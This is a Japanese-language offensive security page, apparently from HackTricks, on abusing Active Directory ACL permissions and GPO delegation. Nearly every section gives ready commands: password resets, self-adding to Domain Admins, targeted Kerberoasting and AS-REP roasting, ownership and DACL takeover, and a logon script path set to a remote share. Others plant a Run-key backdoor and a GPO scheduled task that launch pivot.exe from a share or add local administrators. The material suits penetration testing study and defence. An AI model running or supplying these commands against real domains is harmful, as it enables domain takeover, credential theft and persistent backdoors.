Abusing Active Directory ACLs/ACEs

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

このページは主に https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces および https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privilegesのテクニックの要約です。詳細については、元の記事を確認してください。

ユーザーに対するGenericAll権限

この権限により、攻撃者は対象ユーザーアカウントを完全に制御できます。GenericAll権限がGet-ObjectAclコマンドを使用して確認されると、攻撃者は次のことができます:

  • ターゲットのパスワードを変更するnet user <username> <password> /domainを使用して、攻撃者はユーザーのパスワードをリセットできます。

  • ターゲットされたKerberoasting:SPNをユーザーアカウントに割り当ててKerberoastableにし、その後RubeusとtargetedKerberoast.pyを使用して、チケット発行チケット(TGT)ハッシュを抽出して解読を試みることができます。

Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
  • ターゲット指定されたASREPRoasting: ユーザーの事前認証を無効にし、そのアカウントをASREPRoastingの攻撃対象にします。

Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

グループのGenericAll権限

この権限を持っている場合、攻撃者はDomain Adminsなどのグループに対してGenericAll権限を持っている場合、グループメンバーシップを操作することができます。Get-NetGroupを使用してグループの識別名を特定した後、攻撃者は次のことができます:

  • 自分自身をDomain Adminsグループに追加する:これは直接コマンドを使用するか、Active DirectoryやPowerSploitなどのモジュールを使用して行うことができます。

net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

GenericAll / GenericWrite / Write on Computer/User

コンピュータオブジェクトまたはユーザーアカウントでこれらの特権を保持すると、次のことが可能になります:

  • Kerberosリソースベースの制約付き委任: コンピュータオブジェクトを乗っ取ることができます。

  • シャドウ資格情報: この技術を使用して、シャドウ資格情報を作成する特権を悪用してコンピュータまたはユーザーアカウントを偽装できます。

WriteProperty on Group

特定のグループ(例:Domain Admins)のすべてのオブジェクトに対するWriteProperty権限を持っている場合、ユーザーは次のことができます:

  • 自分自身をDomain Adminsグループに追加する: net userAdd-NetGroupUserコマンドを組み合わせることで、この方法を使用してドメイン内で特権昇格が可能です。

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

グループへの自己(自己メンバーシップ)

この権限により、攻撃者はDomain Adminsなどの特定のグループに自分自身を追加することができます。次のコマンドシーケンスを使用すると、自己追加が可能です:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty(自己メンバーシップ)

この類似した権限は、攻撃者がグループのWriteProperty権限を持っている場合、グループのプロパティを変更して自分自身を直接グループに追加することを可能にします。この権限の確認と実行は、以下の手順で行われます:

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain

ForceChangePassword

ユーザーのUser-Force-Change-Passwordに対するExtendedRightを保持すると、現在のパスワードを知らなくてもパスワードのリセットが可能になります。この権限の検証とその悪用は、PowerShellや代替のコマンドラインツールを使用して行うことができ、対話型セッションや非対話型環境向けのワンライナーを含む、ユーザーのパスワードをリセットするためのいくつかの方法が提供されます。コマンドは、シンプルなPowerShellの呼び出しからLinux上でのrpcclientの使用までさまざまで、攻撃ベクトルの多様性を示しています。

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

グループのWriteOwner

攻撃者がグループに対してWriteOwner権限を持っていることがわかった場合、グループの所有権を自分自身に変更することができます。特に、対象のグループがDomain Adminsである場合、所有権を変更することでグループ属性やメンバーシップに対する広範な制御が可能となります。このプロセスは、Get-ObjectAclを使用して正しいオブジェクトを特定し、その後Set-DomainObjectOwnerを使用して所有者をSIDまたは名前で変更することで行われます。

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

ユーザーへのGenericWrite

この権限を持つと、攻撃者はユーザーのプロパティを変更できます。具体的には、GenericWrite アクセス権を使用すると、攻撃者はユーザーのログオンスクリプトパスを変更して、ユーザーのログオン時に悪意のあるスクリプトを実行できます。これは、Set-ADObject コマンドを使用して、ターゲットユーザーの scriptpath プロパティを更新して、攻撃者のスクリプトを指すようにすることで達成されます。

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

グループでのGenericWrite

この権限を持つ攻撃者は、自分自身や他のユーザーを特定のグループに追加するなど、グループメンバーシップを操作することができます。このプロセスには、資格情報オブジェクトを作成し、それを使用してユーザーをグループから追加または削除し、PowerShellコマンドを使用してメンバーシップの変更を確認するという手順が含まれます。

$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

WriteDACL + WriteOwner

ADオブジェクトの所有権を持ち、それに対するWriteDACL権限を持つことで、攻撃者はそのオブジェクトに対してGenericAll権限を付与することができます。これはADSIの操作を通じて実現され、オブジェクトに対する完全な制御とグループメンバーシップの変更が可能となります。ただし、これらの権限を悪用する際には、Active DirectoryモジュールのSet-Acl / Get-Aclコマンドレットを使用する際に制限が存在します。

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

ドメイン上でのレプリケーション(DCSync)

DCSync攻撃は、ドメイン上の特定のレプリケーション権限を利用して、ドメインコントローラーを模倣し、ユーザー資格情報を含むデータを同期する攻撃です。この強力なテクニックには、DS-Replication-Get-Changesのような権限が必要であり、攻撃者はドメインコントローラーに直接アクセスせずにAD環境から機密情報を抽出することができます。DCSync攻撃について詳しくはこちらをご覧ください。

GPO委任

GPO委任

グループポリシーオブジェクト(GPO)を管理するための委任されたアクセスは、重大なセキュリティリスクを引き起こす可能性があります。たとえば、offense\spotlessというユーザーがGPO管理権限を委任されている場合、WritePropertyWriteDaclWriteOwnerなどの特権を持つ可能性があります。これらの権限は、PowerViewを使用して特定され、悪意のある目的で悪用される可能性があります: bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

GPO権限の列挙

誤構成されたGPOを特定するために、PowerSploitのコマンドレットを連鎖させることができます。これにより、特定のユーザーが管理権限を持つGPOを発見できます: powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

特定のポリシーが適用されているコンピューター: 特定のGPOが適用されているコンピューターを特定することで、潜在的な影響範囲を把握するのに役立ちます。powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

特定のコンピューターに適用されているポリシー: 特定のコンピューターに適用されているポリシーを確認するには、Get-DomainGPOなどのコマンドを利用できます。

特定のポリシーが適用されているOU: 特定のポリシーに影響を受ける組織単位(OU)を特定するには、Get-DomainOUを使用します。

GPOの悪用 - New-GPOImmediateTask

誤構成されたGPOは、例えば、即時スケジュールされたタスクを作成することでコードを実行するために悪用される可能性があります。これにより、影響を受けるマシンのローカル管理者グループにユーザーを追加するなどの操作が行われ、特権が大幅に昇格します:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

GroupPolicy モジュール - GPO の悪用

GroupPolicy モジュールは、インストールされている場合、新しい GPO の作成とリンク、およびレジストリ値などの設定を可能にし、影響を受けるコンピュータでバックドアを実行するための設定を行うことができます。この方法では、GPO を更新し、ユーザーがコンピュータにログインして実行する必要があります。

New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

SharpGPOAbuse - GPOの悪用

SharpGPOAbuseは、新しいGPOを作成する必要なく、既存のGPOを悪用する方法を提供します。このツールを使用するには、既存のGPOを変更するか、RSATツールを使用して新しいGPOを作成してから変更を適用する必要があります。

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

ポリシーの更新を強制する

通常、GPOの更新は約90分ごとに行われます。特に変更を実装した後、ターゲットコンピュータでgpupdate /forceコマンドを使用して即時のポリシー更新を強制することで、このプロセスを迅速化することができます。このコマンドにより、GPOへの変更が次の自動更新サイクルを待たずに適用されることが保証されます。

内部構造

Misconfigured Policyなどの特定のGPOのスケジュールされたタスクを調査すると、evilTaskなどのタスクの追加が確認されます。これらのタスクは、システムの動作を変更したり特権を昇格させることを目的として、スクリプトやコマンドラインツールを使用して作成されます。

New-GPOImmediateTaskによって生成されたXML構成ファイルを調べると、スケジュールされたタスクの構造が明確になります。これには、実行するコマンドやトリガーなど、スケジュールされたタスクの詳細が記載されています。このファイルは、スケジュールされたタスクがGPO内でどのように定義および管理されるかを示し、ポリシーの施行の一環として任意のコマンドやスクリプトを実行するための手段を提供します。

ユーザーとグループ

GPOを使用すると、ターゲットシステム上のユーザーおよびグループのメンバーシップを操作することも可能です。攻撃者は、Users and Groupsポリシーファイルを直接編集することで、特権のあるグループ(例:administratorsグループ)にユーザーを追加することができます。これは、GPO管理権限の委任によって実現され、これによりポリシーファイルを変更して新しいユーザーを追加したり、グループのメンバーシップを変更したりすることが許可されます。

Users and GroupsのXML構成ファイルは、これらの変更がどのように実装されるかを示しています。このファイルにエントリを追加することで、特定のユーザーに対して影響を受けるシステム全体で昇格された特権が付与されることがあります。この方法は、GPOの操作を通じて特権昇格を直接行う手段を提供します。

さらに、ログオン/ログオフスクリプトの活用、autoruns用のレジストリキーの変更、.msiファイルを介したソフトウェアのインストール、サービス構成の編集など、コードの実行や持続性の維持のための追加の方法も考慮されます。これらのテクニックは、GPOの乱用を通じてアクセスを維持し、ターゲットシステムを制御するためのさまざまな手段を提供します。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)で!

HackTricksをサポートする他の方法:

Last updated